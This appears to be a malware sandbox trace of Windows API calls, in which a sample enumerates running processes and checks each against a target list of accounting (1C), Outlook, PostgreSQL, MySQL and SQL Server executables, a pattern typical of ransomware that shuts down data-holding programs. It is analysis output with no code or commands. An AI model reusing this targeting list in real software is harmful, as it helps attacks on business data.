	[0057.572] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0057.572] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0057.572] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0057.572] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0057.572] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0057.572] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0057.572] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0057.573] lstrlenW (lpString="csrss.exe") returned 9
	[0057.573] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0057.573] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0057.573] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0057.573] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0057.573] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0057.573] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0057.573] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0057.573] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0057.574] lstrlenW (lpString="winlogon.exe") returned 12
	[0057.574] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0057.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0057.574] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0057.574] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0057.574] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0057.574] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0057.574] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0057.574] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0057.575] lstrlenW (lpString="services.exe") returned 12
	[0057.575] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0057.575] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0057.575] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0057.575] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0057.575] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0057.575] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0057.575] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0057.575] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0057.576] lstrlenW (lpString="lsass.exe") returned 9
	[0057.576] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0057.576] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0057.576] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0057.576] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0057.576] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0057.576] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0057.576] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0057.576] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.577] lstrlenW (lpString="svchost.exe") returned 11
	[0057.577] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0057.577] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0057.577] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0057.577] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0057.577] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0057.577] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0057.577] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0057.577] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0057.578] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0057.578] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1
	[0057.578] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1
	[0057.578] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1
	[0057.578] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1
	[0057.578] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1
	[0057.578] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1
	[0057.578] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1
	[0057.578] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0057.579] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0057.579] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1
	[0057.579] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1
	[0057.579] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1
	[0057.579] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1
	[0057.579] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1
	[0057.579] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1
	[0057.579] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1
	[0057.579] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.580] lstrlenW (lpString="svchost.exe") returned 11
	[0057.580] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0057.580] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0057.580] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0057.580] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0057.580] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0057.580] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0057.580] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0057.580] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0057.581] lstrlenW (lpString="dwm.exe") returned 7
	[0057.581] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1
	[0057.581] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1
	[0057.581] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1
	[0057.581] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1
	[0057.581] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1
	[0057.581] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1
	[0057.581] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1
	[0057.581] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.582] lstrlenW (lpString="svchost.exe") returned 11
	[0057.582] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0057.582] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0057.582] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0057.582] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0057.582] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0057.582] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0057.582] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0057.582] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.582] lstrlenW (lpString="svchost.exe") returned 11
	[0057.583] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0057.583] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0057.583] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0057.583] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0057.583] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0057.583] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0057.583] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0057.583] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.583] lstrlenW (lpString="svchost.exe") returned 11
	[0057.583] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0057.584] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0057.584] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.641] lstrlenW (lpString="svchost.exe") returned 11
	[0057.641] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.642] lstrlenW (lpString="svchost.exe") returned 11
	[0057.642] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.642] lstrlenW (lpString="svchost.exe") returned 11
	[0057.642] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.643] lstrlenW (lpString="svchost.exe") returned 11
	[0057.643] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.644] lstrlenW (lpString="svchost.exe") returned 11
	[0057.644] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.644] lstrlenW (lpString="svchost.exe") returned 11
	[0057.644] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0057.645] lstrlenW (lpString="spoolsv.exe") returned 11
	[0057.645] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.646] lstrlenW (lpString="svchost.exe") returned 11
	[0057.646] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.646] lstrlenW (lpString="svchost.exe") returned 11
	[0057.647] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0057.648] lstrlenW (lpString="audiodg.exe") returned 11
	[0057.648] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0057.648] lstrlenW (lpString="sihost.exe") returned 10
	[0057.648] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0057.649] lstrlenW (lpString="svchost.exe") returned 11
	[0057.649] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0057.650] lstrlenW (lpString="taskhostw.exe") returned 13
	[0057.650] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0057.650] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0057.651] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0057.651] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0057.651] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0057.652] lstrlenW (lpString="explorer.exe") returned 12
	[0057.652] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0057.653] lstrlenW (lpString="Memory Compression") returned 18
	[0057.653] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0057.653] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0057.653] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0057.654] lstrlenW (lpString="SearchUI.exe") returned 12
	[0057.654] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0057.655] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0057.655] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0057.656] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0057.656] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0057.656] lstrlenW (lpString="taskhostw.exe") returned 13
	[0057.656] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0057.657] lstrlenW (lpString="UsoClient.exe") returned 13
	[0057.657] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0057.659] lstrlenW (lpString="taskhostw.exe") returned 13
	[0057.659] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0057.660] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0057.660] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0057.660] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0057.660] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0057.661] lstrlenW (lpString="msoia.exe") returned 9
	[0057.661] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0057.662] lstrlenW (lpString="msoia.exe") returned 9
	[0057.662] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0057.663] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0057.663] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0057.663] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0057.663] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0057.664] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0057.665] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0057.665] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0057.665] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0057.666] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0057.666] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0057.667] lstrlenW (lpString="legends.exe") returned 11
	[0057.667] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0057.667] lstrlenW (lpString="miniature.exe") returned 13
	[0057.667] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0057.668] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0057.668] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0057.669] lstrlenW (lpString="thorough.exe") returned 12
	[0057.669] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0057.670] lstrlenW (lpString="dllhost.exe") returned 11
	[0057.670] Process32NextW (in: hSnapshot=0x2b8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0057.671] lstrlenW (lpString="interactive.exe") returned 15
